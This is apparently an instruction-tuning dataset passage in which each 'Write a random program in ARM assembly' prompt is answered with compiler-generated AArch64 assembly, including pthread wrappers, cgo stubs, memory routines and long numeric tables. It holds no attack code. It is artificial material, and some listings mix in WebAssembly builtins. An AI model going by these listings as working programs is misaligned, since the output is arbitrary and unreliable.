add x1, x0, :lo12:.LC0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __assert_fail
.L11:
str xzr, [sp, 56]
b .L12
.L13:
ldr x0, [sp, 56]
lsl x0, x0, 3
add x1, sp, 72
ldr x0, [x1, x0]
ldr x1, [sp, 32]
add x0, x1, x0
ldrb w0, [x0]
bl putchar
ldr x0, [sp, 56]
add x0, x0, 1
str x0, [sp, 56]
.L12:
ldr x1, [sp, 56]
ldr x0, [sp, 40]
cmp x1, x0
bcc .L13
ldr x0, [sp, 40]
sub x0, x0, #1
str x0, [sp, 64]
.L19:
ldr x0, [sp, 64]
cmp x0, 0
blt .L25
ldr x0, [sp, 64]
lsl x0, x0, 3
add x1, sp, 72
ldr x0, [x1, x0]
add x2, x0, 1
ldr x0, [sp, 64]
lsl x0, x0, 3
add x1, sp, 72
str x2, [x1, x0]
ldr x0, [sp, 64]
lsl x0, x0, 3
add x1, sp, 72
ldr x0, [x1, x0]
ldr x1, [sp, 24]
cmp x1, x0
bne .L16
ldr x0, [sp, 64]
lsl x0, x0, 3
add x1, sp, 72
str xzr, [x1, x0]
b .L23
.L16:
mov w0, 44
bl putchar
b .L24
.L23:
ldr x0, [sp, 64]
sub x0, x0, #1
str x0, [sp, 64]
b .L19
.L24:
b .L11
.L25:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 152]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L20
bl __stack_chk_fail
.L20:
ldp x29, x30, [sp], 160
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size dumpCombinations, .-dumpCombinations
.section .rodata
.align 3
.LC4:
.string "argc >= 2 && \"Expecting at least one command-line argument.\""
.align 3
.LC5:
.string "r"
.align 3
.LC6:
.string "inputStream && \"Failed to open input stream.\""
.align 3
.LC7:
.string "*chunk == ','"
.text
.align 2
.global main
.type main, %function
main:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -192]!
.cfi_def_cfa_offset 192
.cfi_offset 29, -192
.cfi_offset 30, -184
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 184]
mov x1, 0
ldr w0, [sp, 28]
cmp w0, 1
bgt .L27
adrp x0, __PRETTY_FUNCTION__.3
add x3, x0, :lo12:__PRETTY_FUNCTION__.3
mov w2, 51
adrp x0, .LC0
add x1, x0, :lo12:.LC0
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl __assert_fail
.L27:
adrp x0, :got:stdout
ldr x0, [x0, #:got_lo12:stdout]
ldr x4, [x0]
mov x3, 51200
mov w2, 0
adrp x0, stdoutBuffer.2
add x1, x0, :lo12:stdoutBuffer.2
mov x0, x4
bl setvbuf
ldr x0, [sp, 16]
add x0, x0, 8
ldr x2, [x0]
adrp x0, .LC5
add x1, x0, :lo12:.LC5
mov x0, x2
bl fopen
str x0, [sp, 96]
ldr x0, [sp, 96]
cmp x0, 0
bne .L28
adrp x0, __PRETTY_FUNCTION__.3
add x3, x0, :lo12:__PRETTY_FUNCTION__.3
mov w2, 60
adrp x0, .LC0
add x1, x0, :lo12:.LC0
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl __assert_fail
.L28:
stp xzr, xzr, [sp, 120]
stp xzr, xzr, [sp, 136]
stp xzr, xzr, [sp, 152]
stp xzr, xzr, [sp, 168]
b .L29
.L41:
add x0, sp, 120
str x0, [sp, 48]
str xzr, [sp, 56]
b .L30
.L32:
ldr x1, [sp, 56]
mov x0, x1
lsl x0, x0, 2
add x0, x0, x1
lsl x0, x0, 1
mov x2, x0
ldr x0, [sp, 48]
add x1, x0, 1
str x1, [sp, 48]
ldrb w0, [x0]
sub w0, w0, #48
sxtw x0, w0
add x0, x2, x0
str x0, [sp, 56]
.L30:
ldr x0, [sp, 48]
ldrb w0, [x0]
cmp w0, 47
bls .L31
ldr x0, [sp, 48]
ldrb w0, [x0]
cmp w0, 57
bls .L32
.L31:
ldr x0, [sp, 48]
ldrb w0, [x0]
cmp w0, 44
beq .L33
adrp x0, __PRETTY_FUNCTION__.3
add x3, x0, :lo12:__PRETTY_FUNCTION__.3
mov w2, 76
adrp x0, .LC0
add x1, x0, :lo12:.LC0
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl __assert_fail
.L33:
str xzr, [sp, 64]
ldr x0, [sp, 48]
add x0, x0, 1
str x0, [sp, 48]
ldr x0, [sp, 48]
str x0, [sp, 72]
b .L34
.L36:
ldr x0, [sp, 64]
add x0, x0, 1
str x0, [sp, 64]
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
.L34:
ldr x0, [sp, 72]
ldrb w0, [x0]
cmp w0, 0
beq .L35
ldr x0, [sp, 72]
ldrb w0, [x0]
cmp w0, 10
bne .L36
.L35:
adrp x0, asciiOrdering
add x3, x0, :lo12:asciiOrdering
mov x2, 1
ldr x1, [sp, 64]
ldr x0, [sp, 48]
bl qsort
stp xzr, xzr, [sp, 104]
str xzr, [sp, 80]
strb wzr, [sp, 47]
ldr x0, [sp, 48]
str x0, [sp, 88]
b .L37
.L40:
ldr x0, [sp, 88]
ldrb w0, [x0]
ldrb w1, [sp, 47]
cmp w1, w0
beq .L38
ldr x0, [sp, 88]
ldrb w0, [x0]
strb w0, [sp, 47]
ldr x0, [sp, 80]
add x1, x0, 1
str x1, [sp, 80]
add x1, sp, 104
ldrb w2, [sp, 47]
strb w2, [x1, x0]
.L38:
ldr x0, [sp, 88]
add x0, x0, 1
str x0, [sp, 88]
.L37:
ldr x0, [sp, 88]
ldrb w0, [x0]
cmp w0, 0
beq .L39
ldr x0, [sp, 88]
ldrb w0, [x0]
cmp w0, 10
bne .L40
.L39:
add x0, sp, 104
ldr x2, [sp, 80]
mov x1, x0
ldr x0, [sp, 56]
bl dumpCombinations
mov w0, 10
bl putchar
.L29:
add x0, sp, 120
ldr x2, [sp, 96]
mov w1, 64
bl fgets
cmp x0, 0
bne .L41
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 184]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L43
bl __stack_chk_fail
.L43:
mov w0, w1
ldp x29, x30, [sp], 192
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size main, .-main
.section .rodata
.align 3
.type __PRETTY_FUNCTION__.3, %object
.size __PRETTY_FUNCTION__.3, 5
__PRETTY_FUNCTION__.3:
.string "main"
.local stdoutBuffer.2
.comm stdoutBuffer.2,51200,8
.align 3
.type __PRETTY_FUNCTION__.1, %object
.size __PRETTY_FUNCTION__.1, 14
__PRETTY_FUNCTION__.1:
.string "asciiOrdering"
.align 3
.type __PRETTY_FUNCTION__.0, %object
.size __PRETTY_FUNCTION__.0, 17
__PRETTY_FUNCTION__.0:
.string "dumpCombinations"
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global create_thread
.type create_thread, %function
create_thread:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
ldr x3, [sp, 24]
ldr x2, [sp, 32]
mov x1, 0
ldr x0, [sp, 40]
bl pthread_create
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size create_thread, .-create_thread
.align 2
.global join_thread
.type join_thread, %function
join_thread:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
mov x1, 0
ldr x0, [sp, 24]
bl pthread_join
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size join_thread, .-join_thread
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
mov w0, 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
.align 2
.global crosscall2
.type crosscall2, %function
crosscall2:
.LFB1:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
str x3, [sp]
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size crosscall2, .-crosscall2
.align 2
.global _cgo_wait_runtime_init_done
.type _cgo_wait_runtime_init_done, %function
_cgo_wait_runtime_init_done:
.LFB2:
.cfi_startproc
mov x0, 0
ret
.cfi_endproc
.LFE2:
.size _cgo_wait_runtime_init_done, .-_cgo_wait_runtime_init_done
.align 2
.global _cgo_release_context
.type _cgo_release_context, %function
_cgo_release_context:
.LFB3:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE3:
.size _cgo_release_context, .-_cgo_release_context
.align 2
.global _cgo_topofstack
.type _cgo_topofstack, %function
_cgo_topofstack:
.LFB4:
.cfi_startproc
mov x0, 0
ret
.cfi_endproc
.LFE4:
.size _cgo_topofstack, .-_cgo_topofstack
.align 2
.global _cgo_allocate
.type _cgo_allocate, %function
_cgo_allocate:
.LFB5:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
str w1, [sp, 4]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE5:
.size _cgo_allocate, .-_cgo_allocate
.align 2
.global _cgo_panic
.type _cgo_panic, %function
_cgo_panic:
.LFB6:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
str w1, [sp, 4]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size _cgo_panic, .-_cgo_panic
.align 2
.global _cgo_reginit
.type _cgo_reginit, %function
_cgo_reginit:
.LFB7:
.cfi_startproc
nop
ret
.cfi_endproc
.LFE7:
.size _cgo_reginit, .-_cgo_reginit
.global _cgoexp_0b42451c2bb2_go_output
.bss
.align 2
.type _cgoexp_0b42451c2bb2_go_output, %object
.size _cgoexp_0b42451c2bb2_go_output, 4
_cgoexp_0b42451c2bb2_go_output:
.zero 4
.global _cgoexp_0b42451c2bb2_go_malloc
.align 2
.type _cgoexp_0b42451c2bb2_go_malloc, %object
.size _cgoexp_0b42451c2bb2_go_malloc, 4
_cgoexp_0b42451c2bb2_go_malloc:
.zero 4
.global _cgoexp_0b42451c2bb2_go_free
.align 2
.type _cgoexp_0b42451c2bb2_go_free, %object
.size _cgoexp_0b42451c2bb2_go_free, 4
_cgoexp_0b42451c2bb2_go_free:
.zero 4
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global pagesize
.section .rodata
.align 2
.type pagesize, %object
.size pagesize, 4
pagesize:
.word 65536
.global memptr
.data
.align 2
.type memptr, %object
.size memptr, 4
memptr:
.word 65536
.text
.align 2
.weak sbrk
.type sbrk, %function
sbrk:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
bl __builtin_wasm_current_memory
mov w1, w0
mov w0, 65536
mul w0, w1, w0
sub w0, w0, #1
str w0, [sp, 36]
adrp x0, memptr
add x0, x0, :lo12:memptr
ldr w0, [x0]
str w0, [sp, 40]
adrp x0, memptr
add x0, x0, :lo12:memptr
ldr w0, [x0]
sxtw x1, w0
ldr x0, [sp, 24]
add x1, x1, x0
ldrsw x0, [sp, 36]
cmp x1, x0
bls .L2
adrp x0, memptr
add x0, x0, :lo12:memptr
ldr w0, [x0]
sxtw x1, w0
ldr x0, [sp, 24]
add x1, x1, x0
ldrsw x0, [sp, 36]
sub x1, x1, x0
mov w0, 65536
sxtw x0, w0
udiv x0, x1, x0
add x0, x0, 1
bl __builtin_wasm_grow_memory
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 0
bne .L2
mov x0, -1
b .L3
.L2:
ldr x0, [sp, 24]
mov w1, w0
adrp x0, memptr
add x0, x0, :lo12:memptr
ldr w0, [x0]
add w0, w1, w0
mov w1, w0
adrp x0, memptr
add x0, x0, :lo12:memptr
str w1, [x0]
ldrsw x0, [sp, 40]
.L3:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size sbrk, .-sbrk
.align 2
.global memcpy
.type memcpy, %function
memcpy:
.LFB1:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str x1, [sp, 16]
str x2, [sp, 8]
ldr x0, [sp, 24]
str x0, [sp, 32]
ldr x0, [sp, 16]
str x0, [sp, 40]
b .L5
.L6:
ldr x1, [sp, 40]
add x0, x1, 1
str x0, [sp, 40]
ldr x0, [sp, 32]
add x2, x0, 1
str x2, [sp, 32]
ldrb w1, [x1]
strb w1, [x0]
.L5:
ldr x0, [sp, 8]
sub x1, x0, #1
str x1, [sp, 8]
cmp x0, 0
bne .L6
ldr x0, [sp, 24]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size memcpy, .-memcpy
.align 2
.global memset
.type memset, %function
memset:
.LFB2:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str w1, [sp, 20]
str x2, [sp, 8]
ldr x0, [sp, 24]
str x0, [sp, 40]
b .L9
.L10:
ldr x0, [sp, 40]
add x1, x0, 1
str x1, [sp, 40]
ldr w1, [sp, 20]
and w1, w1, 255
strb w1, [x0]
.L9:
ldr x0, [sp, 8]
sub x1, x0, #1
str x1, [sp, 8]
cmp x0, 0
bne .L10
ldr x0, [sp, 24]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size memset, .-memset
.align 2
.weak allocate
.type allocate, %function
allocate:
.LFB3:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
ldrsw x0, [sp, 28]
bl malloc
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE3:
.size allocate, .-allocate
.align 2
.weak deallocate
.type deallocate, %function
deallocate:
.LFB4:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl free
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE4:
.size deallocate, .-deallocate
.align 2
.global __assert_fail
.type __assert_fail, %function
__assert_fail:
.LFB5:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
str x3, [sp]
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE5:
.size __assert_fail, .-__assert_fail
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.data
.align 3
.type shapes, %object
.size shapes, 4096
shapes:
.word 0
.word 0
.word 1
.word 1
.word 0
.word 0
.word 0
.word 1
.word 0
.word 0
.word 0
.word 0
.word 0
.word 2
.word 2
.word 2
.word 0
.word 0
.word 1
.word 1
.word 0
.word 0
.word 1
.word 1
.word 2
.word 0
.word 0
.word 1
.word 0
.word 0
.word 2
.word 2
.word 0
.word 2
.word 2
.word 1
.word 2
.word 2
.word 1
.word 1
.word 2
.word 2
.word 1
.word 1
.word 0
.word 0
.word 1
.word 1
.word 2
.word 2
.word 2
.word 2
.word 2
.word 2
.word 2
.word 1
.word 2
.word 2
.word 1
.word 1
.word 0
.word 1
.word 1
.word 1
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 1
.word 1
.word 0
.word 0
.word 2
.word 2
.word 0
.word 0
.word 1
.word 1
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 1
.word 1
.word 0
.word 0
.word 2
.word 2
.word 0
.word 0
.word 1
.word 1
.word 1
.word 1
.word 2
.word 2
.word 0
.word 0
.word 2
.word 2
.word 1
.word 1
.word 1
.word 1
.word 2
.word 2
.word 1
.word 1
.word 1
.word 1
.word 2
.word 2
.word 0
.word 0
.word 2
.word 2
.word 1
.word 1
.word 1
.word 1
.word 2
.word 2
.word 1
.word 1
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 1
.word 2
.word 0
.word 0
.word 0
.word 0
.word 1
.word 1
.word 1
.word 1
.word 1
.word 1
.word 1
.word 1
.word 0
.word 0
.word 1
.word 2
.word 1
.word 1
.word 1
.word 1
.word 1
.word 1
.word 1
.word 1
.word 2
.word 2
.word 2
.word 2
.word 0
.word 0
.word 1
.word 2
.word 2
.word 2
.word 2
.word 2
.word 2
.word 2
.word 2
.word 2
.word 2
.word 2
.word 2
.word 2
.word 0
.word 0
.word 1
.word 2
.word 0
.word 1
.word 1
.word 2
.word 0
.word 1
.word 2
.word 2
.word 0
.word 0
.word 1
.word 1
.word 0
.word 0
.word 1
.word 1
.word 0
.word 1
.word 1
.word 2
.word 0
.word 1
.word 2
.word 2
.word 0
.word 1
.word 1
.word 2
.word 2
.word 0
.word 0
.word 1
.word 0
.word 1
.word 1
.word 2
.word 0
.word 1
.word 2
.word 2
.word 1
.word 1
.word 2
.word 2
.word 2
.word 2
.word 0
.word 0
.word 0
.word 1
.word 1
.word 2
.word 0
.word 1
.word 2
.word 2
.word 1
.word 2
.word 2
.word 2
.word 2
.word 2
.word 2
.word 0
.word 0
.word 0
.word 0
.word 1
.word 0
.word 1
.word 1
.word 1
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 2
.word 2
.word 0
.word 0
.word 1
.word 1
.word 0
.word 0
.word 1
.word 1
.word 1
.word 1
.word 2
.word 2
.word 0
.word 0
.word 2
.word 2
.word 0
.word 1
.word 1
.word 2
.word 2
.word 0
.word 0
.word 1
.word 1
.word 1
.word 2
.word 2
.word 0
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.word 2
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.word 1
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.word 2
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.word 2
.word 2
.word 0
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.word 1
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.word 2
.word 2
.word 1
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.word 0
.word 1
.word 1
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.word 0
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.word 0
.word 1
.word 0
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.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 1
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.word 0
.word 0
.word 0
.word 1
.word 0
.word 0
.word 1
.word 1
.word 1
.word 1
.word 0
.word 0
.word 0
.word 2
.word 2
.word 2
.word 2
.word 2
.word 2
.word 1
.word 0
.word 1
.word 2
.word 2
.word 2
.word 2
.word 1
.word 0
.word 0
.word 2
.word 2
.word 2
.word 2
.word 2
.word 2
.word 1
.word 0
.word 1
.word 2
.word 2
.word 2
.word 2
.word 1
.word 0
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.word 1
.word 2
.word 2
.word 0
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.word 1
.word 2
.word 0
.word 1
.word 1
.word 0
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.word 0
.word 0
.word 0
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.align 3
.type shapeindex_to_compressed_indices, %object
.size shapeindex_to_compressed_indices, 768
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``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
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.size dct_value_cost, 8192
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.hword 5006
.hword 5014
.hword 5020
.hword 5028
.hword 5038
.hword 5046
.hword 5052
.hword 5060
.hword 5079
.hword 5087
.hword 5093
.hword 5101
.hword 5111
.hword 5119
.hword 5125
.hword 5133
.hword 5155
.hword 5163
.hword 5169
.hword 5177
.hword 5187
.hword 5195
.hword 5201
.hword 5209
.hword 5228
.hword 5236
.hword 5242
.hword 5250
.hword 5260
.hword 5268
.hword 5274
.hword 5282
.hword 5308
.hword 5316
.hword 5322
.hword 5330
.hword 5340
.hword 5348
.hword 5354
.hword 5362
.hword 5381
.hword 5389
.hword 5395
.hword 5403
.hword 5413
.hword 5421
.hword 5427
.hword 5435
.hword 5457
.hword 5465
.hword 5471
.hword 5479
.hword 5489
.hword 5497
.hword 5503
.hword 5511
.hword 5530
.hword 5538
.hword 5544
.hword 5552
.hword 5562
.hword 5570
.hword 5576
.hword 5584
.hword 4853
.hword 4861
.hword 4867
.hword 4875
.hword 4885
.hword 4893
.hword 4899
.hword 4907
.hword 4926
.hword 4934
.hword 4940
.hword 4948
.hword 4958
.hword 4966
.hword 4972
.hword 4980
.hword 5002
.hword 5010
.hword 5016
.hword 5024
.hword 5034
.hword 5042
.hword 5048
.hword 5056
.hword 5075
.hword 5083
.hword 5089
.hword 5097
.hword 5107
.hword 5115
.hword 5121
.hword 5129
.hword 5155
.hword 5163
.hword 5169
.hword 5177
.hword 5187
.hword 5195
.hword 5201
.hword 5209
.hword 5228
.hword 5236
.hword 5242
.hword 5250
.hword 5260
.hword 5268
.hword 5274
.hword 5282
.hword 5304
.hword 5312
.hword 5318
.hword 5326
.hword 5336
.hword 5344
.hword 5350
.hword 5358
.hword 5377
.hword 5385
.hword 5391
.hword 5399
.hword 5409
.hword 5417
.hword 5423
.hword 5431
.hword 5297
.hword 5305
.hword 5311
.hword 5319
.hword 5329
.hword 5337
.hword 5343
.hword 5351
.hword 5370
.hword 5378
.hword 5384
.hword 5392
.hword 5402
.hword 5410
.hword 5416
.hword 5424
.hword 5446
.hword 5454
.hword 5460
.hword 5468
.hword 5478
.hword 5486
.hword 5492
.hword 5500
.hword 5519
.hword 5527
.hword 5533
.hword 5541
.hword 5551
.hword 5559
.hword 5565
.hword 5573
.hword 5599
.hword 5607
.hword 5613
.hword 5621
.hword 5631
.hword 5639
.hword 5645
.hword 5653
.hword 5672
.hword 5680
.hword 5686
.hword 5694
.hword 5704
.hword 5712
.hword 5718
.hword 5726
.hword 5748
.hword 5756
.hword 5762
.hword 5770
.hword 5780
.hword 5788
.hword 5794
.hword 5802
.hword 5821
.hword 5829
.hword 5835
.hword 5843
.hword 5853
.hword 5861
.hword 5867
.hword 5875
.hword 5673
.hword 5681
.hword 5687
.hword 5695
.hword 5705
.hword 5713
.hword 5719
.hword 5727
.hword 5746
.hword 5754
.hword 5760
.hword 5768
.hword 5778
.hword 5786
.hword 5792
.hword 5800
.hword 5822
.hword 5830
.hword 5836
.hword 5844
.hword 5854
.hword 5862
.hword 5868
.hword 5876
.hword 5895
.hword 5903
.hword 5909
.hword 5917
.hword 5927
.hword 5935
.hword 5941
.hword 5949
.hword 5975
.hword 5983
.hword 5989
.hword 5997
.hword 6007
.hword 6015
.hword 6021
.hword 6029
.hword 6048
.hword 6056
.hword 6062
.hword 6070
.hword 6080
.hword 6088
.hword 6094
.hword 6102
.hword 6124
.hword 6132
.hword 6138
.hword 6146
.hword 6156
.hword 6164
.hword 6170
.hword 6178
.hword 6197
.hword 6205
.hword 6211
.hword 6219
.hword 6229
.hword 6237
.hword 6243
.hword 6251
.hword 6117
.hword 6125
.hword 6131
.hword 6139
.hword 6149
.hword 6157
.hword 6163
.hword 6171
.hword 6190
.hword 6198
.hword 6204
.hword 6212
.hword 6222
.hword 6230
.hword 6236
.hword 6244
.hword 6266
.hword 6274
.hword 6280
.hword 6288
.hword 6298
.hword 6306
.hword 6312
.hword 6320
.hword 6339
.hword 6347
.hword 6353
.hword 6361
.hword 6371
.hword 6379
.hword 6385
.hword 6393
.hword 6419
.hword 6427
.hword 6433
.hword 6441
.hword 6451
.hword 6459
.hword 6465
.hword 6473
.hword 6492
.hword 6500
.hword 6506
.hword 6514
.hword 6524
.hword 6532
.hword 6538
.hword 6546
.hword 6568
.hword 6576
.hword 6582
.hword 6590
.hword 6600
.hword 6608
.hword 6614
.hword 6622
.hword 6641
.hword 6649
.hword 6655
.hword 6663
.hword 6673
.hword 6681
.hword 6687
.hword 6695
.hword 5788
.hword 5796
.hword 5802
.hword 5810
.hword 5820
.hword 5828
.hword 5834
.hword 5842
.hword 5861
.hword 5869
.hword 5875
.hword 5883
.hword 5893
.hword 5901
.hword 5907
.hword 5915
.hword 5937
.hword 5945
.hword 5951
.hword 5959
.hword 5969
.hword 5977
.hword 5983
.hword 5991
.hword 6010
.hword 6018
.hword 6024
.hword 6032
.hword 6042
.hword 6050
.hword 6056
.hword 6064
.hword 6090
.hword 6098
.hword 6104
.hword 6112
.hword 6122
.hword 6130
.hword 6136
.hword 6144
.hword 6163
.hword 6171
.hword 6177
.hword 6185
.hword 6195
.hword 6203
.hword 6209
.hword 6217
.hword 6239
.hword 6247
.hword 6253
.hword 6261
.hword 6271
.hword 6279
.hword 6285
.hword 6293
.hword 6312
.hword 6320
.hword 6326
.hword 6334
.hword 6344
.hword 6352
.hword 6358
.hword 6366
.hword 6232
.hword 6240
.hword 6246
.hword 6254
.hword 6264
.hword 6272
.hword 6278
.hword 6286
.hword 6305
.hword 6313
.hword 6319
.hword 6327
.hword 6337
.hword 6345
.hword 6351
.hword 6359
.hword 6381
.hword 6389
.hword 6395
.hword 6403
.hword 6413
.hword 6421
.hword 6427
.hword 6435
.hword 6454
.hword 6462
.hword 6468
.hword 6476
.hword 6486
.hword 6494
.hword 6500
.hword 6508
.hword 6534
.hword 6542
.hword 6548
.hword 6556
.hword 6566
.hword 6574
.hword 6580
.hword 6588
.hword 6607
.hword 6615
.hword 6621
.hword 6629
.hword 6639
.hword 6647
.hword 6653
.hword 6661
.hword 6683
.hword 6691
.hword 6697
.hword 6705
.hword 6715
.hword 6723
.hword 6729
.hword 6737
.hword 6756
.hword 6764
.hword 6770
.hword 6778
.hword 6788
.hword 6796
.hword 6802
.hword 6810
.hword 6608
.hword 6616
.hword 6622
.hword 6630
.hword 6640
.hword 6648
.hword 6654
.hword 6662
.hword 6681
.hword 6689
.hword 6695
.hword 6703
.hword 6713
.hword 6721
.hword 6727
.hword 6735
.hword 6757
.hword 6765
.hword 6771
.hword 6779
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.hword 6797
.hword 6803
.hword 6811
.hword 6830
.hword 6838
.hword 6844
.hword 6852
.hword 6862
.hword 6870
.hword 6876
.hword 6884
.hword 6910
.hword 6918
.hword 6924
.hword 6932
.hword 6942
.hword 6950
.hword 6956
.hword 6964
.hword 6983
.hword 6991
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.hword 7005
.hword 7015
.hword 7023
.hword 7029
.hword 7037
.hword 7059
.hword 7067
.hword 7073
.hword 7081
.hword 7091
.hword 7099
.hword 7105
.hword 7113
.hword 7132
.hword 7140
.hword 7146
.hword 7154
.hword 7164
.hword 7172
.hword 7178
.hword 7186
.hword 7052
.hword 7060
.hword 7066
.hword 7074
.hword 7084
.hword 7092
.hword 7098
.hword 7106
.hword 7125
.hword 7133
.hword 7139
.hword 7147
.hword 7157
.hword 7165
.hword 7171
.hword 7179
.hword 7201
.hword 7209
.hword 7215
.hword 7223
.hword 7233
.hword 7241
.hword 7247
.hword 7255
.hword 7274
.hword 7282
.hword 7288
.hword 7296
.hword 7306
.hword 7314
.hword 7320
.hword 7328
.hword 7354
.hword 7362
.hword 7368
.hword 7376
.hword 7386
.hword 7394
.hword 7400
.hword 7408
.hword 7427
.hword 7435
.hword 7441
.hword 7449
.hword 7459
.hword 7467
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.hword 7503
.hword 7511
.hword 7517
.hword 7525
.hword 7535
.hword 7543
.hword 7549
.hword 7557
.hword 7576
.hword 7584
.hword 7590
.hword 7598
.hword 7608
.hword 7616
.hword 7622
.hword 7630
.hword 6899
.hword 6907
.hword 6913
.hword 6921
.hword 6931
.hword 6939
.hword 6945
.hword 6953
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.hword 6980
.hword 6986
.hword 6994
.hword 7004
.hword 7012
.hword 7018
.hword 7026
.hword 7048
.hword 7056
.hword 7062
.hword 7070
.hword 7080
.hword 7088
.hword 7094
.hword 7102
.hword 7121
.hword 7129
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.hword 7143
.hword 7153
.hword 7161
.hword 7167
.hword 7175
.hword 7201
.hword 7209
.hword 7215
.hword 7223
.hword 7233
.hword 7241
.hword 7247
.hword 7255
.hword 7274
.hword 7282
.hword 7288
.hword 7296
.hword 7306
.hword 7314
.hword 7320
.hword 7328
.hword 7350
.hword 7358
.hword 7364
.hword 7372
.hword 7382
.hword 7390
.hword 7396
.hword 7404
.hword 7423
.hword 7431
.hword 7437
.hword 7445
.hword 7455
.hword 7463
.hword 7469
.hword 7477
.hword 7343
.hword 7351
.hword 7357
.hword 7365
.hword 7375
.hword 7383
.hword 7389
.hword 7397
.hword 7416
.hword 7424
.hword 7430
.hword 7438
.hword 7448
.hword 7456
.hword 7462
.hword 7470
.hword 7492
.hword 7500
.hword 7506
.hword 7514
.hword 7524
.hword 7532
.hword 7538
.hword 7546
.hword 7565
.hword 7573
.hword 7579
.hword 7587
.hword 7597
.hword 7605
.hword 7611
.hword 7619
.hword 7645
.hword 7653
.hword 7659
.hword 7667
.hword 7677
.hword 7685
.hword 7691
.hword 7699
.hword 7718
.hword 7726
.hword 7732
.hword 7740
.hword 7750
.hword 7758
.hword 7764
.hword 7772
.hword 7794
.hword 7802
.hword 7808
.hword 7816
.hword 7826
.hword 7834
.hword 7840
.hword 7848
.hword 7867
.hword 7875
.hword 7881
.hword 7889
.hword 7899
.hword 7907
.hword 7913
.hword 7921
.hword 7719
.hword 7727
.hword 7733
.hword 7741
.hword 7751
.hword 7759
.hword 7765
.hword 7773
.hword 7792
.hword 7800
.hword 7806
.hword 7814
.hword 7824
.hword 7832
